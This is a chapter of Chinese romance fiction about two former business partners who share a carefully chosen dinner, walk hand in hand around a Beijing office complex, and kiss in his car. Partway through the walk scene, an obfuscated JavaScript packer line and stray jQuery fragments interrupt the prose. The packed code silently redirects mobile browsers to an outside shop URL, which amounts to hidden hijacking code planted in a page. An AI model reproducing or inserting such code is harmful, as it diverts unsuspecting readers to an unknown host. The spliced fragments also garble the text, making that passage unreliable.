从景山回来的那个晚上，祝青云发过一条“到了”，方严回了一个“好”。之后一周，没有再通消息。
说定的那顿饭排在第二周的周三——澜象的董事会下午三点，会开完，吃饭。
那一周过得慢。周一例会，Jason说董事会定在周三下午，她低头记了，散会后把日历上那一格标成深色。许默涵问周三傍晚要不要排事，她说，排到周四。
周三早上，她比平时多花了十分钟挑衣服，最后穿的还是平常那身。
周二下午，他发来两个字：“明天？”
她回：“嗯。”
隔了几秒，又来一条：“你定地方。”
她盯着那四个字看了一会儿。从前吃饭都是他定的，兰颂那种地方，要提前订位，配得上签字的日子。现在他把“定地方”交过来，像把菜单推到她面前。
她定了盈科中心楼下的屋里厢。订完才发现，两个人都没问为什么是那一家。
其实是祝青云先知道那家的。很多年前一个冬天，他们去三里屯看电影，路过门口，她说，本帮菜，太甜。他说，那你站在那儿闻什么。她说，闻闻。
董事会三十分钟开完，数字都好，一次都没表决出分歧。她和他隔着一个座位，全程说的都是对事的话，目光碰上两次，都让给了投影幕布。散会时秘书还在收平板，她起身，他把滚到桌沿的笔按住，推了回来。两边团队各自寒暄，他和她也握了个手，像所有共同投资人那样，指尖一触即离。澜象的创始人要送，他说不用，电梯刚好到了。
电梯里只有两个人。
数字从十九层往下跳。她看着那排数字，听见他问：
“订的哪家？”
她报了店名。盈科中心楼下，屋里厢。
“我知道那家。”他说，“你以前说，本帮菜太甜。”
“人是可以修订的。”她说。
数字跳到一。他侧了半步，让她先走。
大堂外面，他说：“一会儿见。”
“好。”
他先走了。她回了一趟公司，把电脑放下，把周四评审的材料又过了一遍，才下楼叫车。三环堵了一段，尾灯连成一条不动的河。司机把广播音量拧低了一格。她看着窗外，没有催。
餐厅她是六点五十九到的。领班把她往里让，说，那位先生到了一会儿了。她说，我知道。
他又提前了。进店时她先看见的是他面前的杯子——茶已经泡上了，第二泡，颜色刚好。他坐在能看见入口的位置，看见她，抬了抬下巴，像过去很多年谈事时那样。
但今天桌上没有文件。
两个人都注意到了。谁都没提。
从前他们桌子中间总有东西：条款，附件，对账单，两清那天的协议。纸是话题，是各自低头时的去处。今天桌子中间只有一壶茶，两只杯子，一碟店家送的花生。手机都搁在桌边，屏幕扣着——这在他们是新事，从前这样的空当，两个人的手机总要响一只。
点菜。他点得很快，几乎没看菜单：油爆虾，草头圈子，腌笃鲜，四喜烤麸。全是她吃过的。金融街那家的油爆虾，她多夹过两筷；草头圈子是上海出差回来念叨过一次的；腌笃鲜，哪一年春天，她说笋比肉好吃。
她接过菜单，往后翻了一页，加了两道：蟹粉豆腐，桂花糖藕。都是她没吃过的。
方严把那页要过去看了一眼，当着她的面，把菜单折了个角，递还给服务员。折角压着的，正是“蟹粉豆腐”四个字。
“折什么？”她问。
“记号。”他说，“下次来，点它。”
她低头喝茶，没有追问。茶是第二泡，涩味下去了，温度刚好。
等菜的时候，话从很远的地方绕过来。
“你新加坡住的那栋，”他说，“The Arris后面那条街，楼下有块空地。”
她抬眼：“你怎么知道？”
“我去看过。”他说，“年会放在新加坡那两年，我走过你住的那一带。楼下那块空地，路过时棚子搭着，隔天拆了——办丧事也办婚礼，同一批桌椅。食阁有个卖咖啡的老头，收款码贴在杯子上。路口那棵雨树，比照片里大。”
她看着他。那几年他几乎没有出现过。原来出现过很多次，在她看不见的地方。
“还有一件事，你知道得不对。”她说，“雅加达那间网吧，Loading一个圈是六秒，不是你说的八秒。”
“我没说八秒。”他说，“我说的是六秒。青藤的出海报告，董事会材料，每一页我都读过。你写在附注里的，我一条都没跳过。”
她拿起茶壶，给他续了半杯，也给自己续了半杯。
“那你呢。”她问，“这六年，生日怎么过的？”
“前几年，一个人。”他说，“今年，还没到。”
她算了算，十一月，还有一个多月。
“那今年提前说。”她说。
“好。”
“你呢。”他问。
“蛋糕。四寸，抹茶。太甜，剩了一半。”
“嗯。”他说，“今年换一家。”
“本帮菜都甜，”她说，“换哪儿去。”
“那就吃完多走一圈，消化。”
“除了工作呢，”她又问，“这六年。”
他想了想：“二期基金。搬了一次办公室。牌打得少了。”隔了几秒，又补一句，“看过两场球，一个人。”
“搬去哪儿了？”
“合伙人专属，比以前高。天晴的时候，能看见西山。”
“下次去看看。”
“好。”他说，“提前讲一声。”
“还要预约？”
“不用，”他说，“给你留门。”
她笑了。有些话不用问到底，留着，下次饭桌上再对。
菜一道一道上齐。最后一道桂花糖藕，糯米填得整齐，桂花撒得匀。八只碟子摆满，谁都没先动筷子。
很多年以前，他们玩过一个游戏。景华街，路灯底下，她说，我们玩个游戏吧，真心话，轮流问，必须答。他问你先还是我先，她说：“你先。”从那以后，你先我先，分了很多年——分到谈判桌上，分到两清那天的签字顺序上。
“这次你先。”她说。
他看着她：“石头剪刀布？”
“不用。”
她拿起筷子，第一筷夹了草头圈子，放进他碗里。
他看着碗里那一筷，没动。
“总得有个人先动筷子。”她说。
“嗯。”
然后他抢了一次先。她认识他这么多年，第一次见他抢先——他把那一筷吃完了，才拿起汤勺，给她盛了一碗汤。汤是腌笃鲜，咸香沉在碗底。她喝了两口，抬起头，他已经把那盘油爆虾往她这边转了半圈。她伸筷子时，他又把那碟花生往她手边挪了一寸。
汤里的笋，他一片都没动。她捞了两片，抬头看他。
“你说过，”他说，“笋比肉好吃。”
她夹了一筷烤麸，慢慢吃完。
“甜的。”她说。
“修订结果呢？”他问。
“合格。”
他“嗯”了一声，给她续了茶。
糖藕剩到最后一块。她夹起来，放进他碗里。
“太甜。”他说。
“修订一下。”
他看了她一眼，把那块藕吃了。
那顿饭吃得慢。没有谁看表。
买单出来，八点半。车停在路边车位上，两个人朝那边走，走到一半，步子都慢下来，谁也没掏钥匙。
“吃撑了。”她说。
“走走。”他说。
绕着盈科中心走。写字楼和公寓拼成的一圈，人行道宽，树是国槐，叶子还密着，绿得发暗。初秋的晚风不热了，钻进袖口有一点凉。有人夜跑，从身后超过他们，脚步声远了。遛狗的人在树底下站着聊天，狗绳在手腕上绕了两圈。二十四小时健身房的落地玻璃照得很白，跑步机上还有人，一步一步，哪儿也不去。花店已经打烊，桶里的花还摆在台阶上，没人看，开得倒很自在。
一个小孩踩着滑板车冲过来，他抬手虚挡在她身前。小孩过去了，他的手收了回去。
两只手垂在各自身侧，随步子晃。
第一次碰到，在路口拐弯的地方，手背擦过手背，各自让开。中间隔了小半条街，两只手各晃各的，像什么都没发生。
第二次，在亮着灯的便利店前面，指节碰上指节，又让开半步。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782540|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
第三次碰到时，他没有再让开。
手指一根一根扣进来。很慢。慢到随时可以撤退。
她没有撤退。
她的指头先是僵的，后来一根一根松下来，落进他手里。他的手比记忆里干，也比记忆里稳。她看着前面的路，走出十几步，才想起来回握了一下。剩下的小半圈，谁都没有再让谁。
走完一圈，回到出发的地方。
“再走一圈？”她说。
“好。”
第二圈比第一圈慢。路过那家便利店，灯还亮着，手没有松开；路过拐弯的路口，信号灯红了又绿。夜跑的人第二次超过他们，这一次他换了半个身位，把她让到里侧。居酒屋里在放球赛，声音隔着玻璃传不出来，只能看见一屋子人忽然一起抬了头。
“下次试试隔壁那家。”他说。
“居酒屋？”
“都可以。”
球赛散了一小拨人，站在路边抽烟，高声复盘刚才那一脚。她笑了一下，没反驳。这一带她其实很熟，一个人走过很多次，十五分钟一圈。今天这一圈走了多久，她没看表，也没数步数。她想起饭桌上那句“吃完多走一圈”——原来那时候，他是计划好的。
“苏南昨天发消息，”她说，“婴儿房的灯装好了。”
“周正装的？”
“师傅装的。周正验收，验了两遍。”
他“嗯”了一声，尾音里有一点笑。
“冷吗？”走完第二圈，他问。
“不冷。”
上车之前，她问：“顺路吗？”
“不顺。”他说。
车还是往公园大道开。路灯一格一格往后退，她靠在椅背上，看他的手搭在方向盘上。那只手刚才扣着她的，现在很安分，食指随着电台里的鼓点敲了两下。等红灯时，他伸手把她那侧的车窗升上去，升到顶，又退回来一格，留了一道缝。
楼下。车停稳，熄了火。
“到了说一声。”他说，照例。
她没有下车。这句话，她在散步的第二圈就想好了。
“方严。”
“嗯。”
“你每次都提前十分钟到，每次都看着我上楼，每次都只发四个字。”
“嗯。”
“今天可以不止四个字。”
他看了她两秒。
安全带解开，咔的一声。他倾身过来。
她闭眼之前，看见路灯从那道缝里落进来，一格。
不赖给别的了——国子监的雨赖过，景山的夕阳赖过，这一次车窗升着，风进不来，也赖不着谁。六年，两清，每一笔都对过账，他们中间早就没有巧合了。就是他们两个人。
分开以后，谁都没有退得太远。他的额头抵着她的，停了一拍。仪表盘的光淡淡的，把两个人照得只剩轮廓。车里很静，电台不知什么时候只剩下很低的底噪。她的手不知什么时候攥住了他胸前的衬衫，松开时那一块皱了。她伸手抚了一下，没抚平，由它皱着。
“下周三，”她说，“还吃饭。”
“不用等下周三。”他说。
“好，”她说，“那我记下了。”
她下了车，走出两步，回头看了一眼——车还在原地，灯亮着。她抬起手挥了一下，车才动。
大堂的保安朝她点了点头，说回来啦。电梯里有一面镜面墙，楼层数字跳得很慢。她对着墙理了理头发，理到一半发现没用——嘴角压不下去。镜子里的那个人看了她两秒，她也看回去，然后放弃了。
到家。加湿器吐着雾，水箱下去了一格，她续满。台灯旁边，全家福、平安扣、停了的表，一样不少。表针还停在两点四十，不知道是哪一天的两点四十。她看了一会儿，没有去碰它。
她走到阳台上，往下看了一眼。楼下的路灯一格一格亮着，从近到远。她数到第三盏，停了，自己也说不清为什么。
回屋，把阳台窗帘拉上一半，留了一条缝。去厨房倒了一杯水，站着喝完，把杯子洗了，才把手机从包里拿出来。
她发：“到了。”
他回：“好。”
过了三秒，又来一条：“明天见。”
她看着那三个字，把打好的“吃饭”删了，换成：“好。”